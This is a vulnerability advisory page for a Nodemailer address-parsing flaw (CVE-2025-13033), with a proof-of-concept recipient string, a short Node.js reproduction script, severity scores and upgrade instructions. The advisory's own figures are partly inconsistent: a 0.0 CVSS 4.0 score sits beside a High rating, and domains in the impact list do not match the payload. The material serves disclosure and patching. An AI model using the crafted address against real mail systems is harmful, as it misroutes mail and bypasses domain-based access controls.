Skip to content

GHSA-mm7p-fcc7-pg87 CVE-2025-13033

Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict

High npm
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.57%
Chance of exploitation in the next 30 days. Higher than 47.45% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-20 Improper Input Validation
CWE-436 Interpretation Conflict
Fix
7.0.7
Upgrade nodemailer to this version or later

Description

The email parsing library incorrectly handles quoted local-parts containing @. This leads to misrouting of email recipients, where the parser extracts and routes to an unintended domain instead of the RFC-compliant target.

Payload: "xclow3n@gmail.com x"@internal.domain Using the following code to send mail

const nodemailer = require("nodemailer");

let transporter = nodemailer.createTransport({
  service: "gmail",
  auth: {
    user: "",
    pass: "",
  },
});

let mailOptions = {
  from: '"Test Sender" <your_email@gmail.com>', 
  to: "\"xclow3n@gmail.com x\"@internal.domain",
  subject: "Hello from Nodemailer",
  text: "This is a test email sent using Gmail SMTP and Nodemailer!",
};

transporter.sendMail(mailOptions, (error, info) => {
  if (error) {
    return console.log("Error: ", error);
  }
  console.log("Message sent: %s", info.messageId);

});


(async () => {
  const parser = await import("@sparser/email-address-parser");
  const { EmailAddress, ParsingOptions } = parser.default;
  const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);

  if (!parsed) {
    console.error("Invalid email address:", mailOptions.to);
    return;
  }

  console.log("Parsed email:", {
    address: `${parsed.localPart}@${parsed.domain}`,
    local: parsed.localPart,
    domain: parsed.domain,
  });
})();

Running the script and seeing how this mail is parsed according to RFC

Parsed email: {
  address: '"xclow3n@gmail.com x"@internal.domain',
  local: '"xclow3n@gmail.com x"',
  domain: 'internal.domain'
}

But the email is sent to xclow3n@gmail.com

<img width="2128" height="439" alt="Image" src="https://github.com/user-attachments/assets/20eb459c-9803-45a2-b30e-5d1177d60a8d" />

Impact:

  • Misdelivery / Data leakage: Email is sent to psres.net instead of test.com.

  • Filter evasion: Logs and anti-spam systems may be bypassed by hiding recipients inside quoted local-parts.

  • Potential compliance issue: Violates RFC 5321/5322 parsing rules.

  • Domain based access control bypass in downstream applications using your library to send mails

Recommendations

  • Fix parser to correctly treat quoted local-parts per RFC 5321/5322.

  • Add strict validation rejecting local-parts containing embedded @ unless fully compliant with quoting.

Affected versions

npm

PackageVulnerableFixed in
nodemailer
< 7.0.7
7.0.7

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

nodemailer npm → 7.0.7

npm
npm install nodemailer@7.0.7
yarn
yarn add nodemailer@7.0.7
pnpm
pnpm add nodemailer@7.0.7

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
Low
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None
Exploit maturity
Proof of concept

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Weakness

CWE-20: Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

How to prevent it
  • Architecture and Design: Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]
  • Architecture and Design: Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).
  • Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter the product, including but not limited to: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server. Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.
  • Implementation: When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.
  • Implementation: Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.
  • Implementation: Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
  • Implementation: When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

CWE-436: Interpretation Conflict

Product A handles inputs or steps differently than Product B, which causes A to perform incorrect actions based on its perception of B's state.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-8c8m-p3m8-cjg8
Nodemailer: A nested comment ends early in addressparser, releasing the rest of the comment as a recipient
Medium Also affects nodemailer
GHSA-m943-m63m-w62w
Nodemailer: A ";" inside a quoted string or comment ends an address group early in addressparser, turning display text into a recipient
Medium Also affects nodemailer
GHSA-85x2-q946-cp5h
Nodemailer: A ">" inside a quoted local part ends an angle-addr early in addressparser, delivering to a domain the header does not name
Medium Also affects nodemailer
GHSA-4g23-2xm8-66gc
Nodemailer: Quadratic (O(n^2)) SMTP client reply parsing lets a malicious server or MITM cause a pre-auth remote denial of service
High Also affects nodemailer
GHSA-39m8-27wv-hr27
Nodemailer: Quadratic (O(n^2)) DKIM header unfolding lets a large folded header cause remote denial of service during signing
High Also affects nodemailer
GHSA-g73g-hqqh-jr95
Nodemailer: RFC 5322 comment inside an angle-bracket address is never stripped
Medium Also affects nodemailer
GHSA-4ffr-jq9g-5ffx
Nodemailer: Quadratic backtracking in SMTP AUTH mechanism detection regexes allows pre-auth remote denial of service
High Also affects nodemailer
GHSA-8vvx-rff5-p5rq
Nodemailer: Nested structured recipient arrays bypass the parser depth limit and cause stack exhaustion DoS
High Also affects nodemailer
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor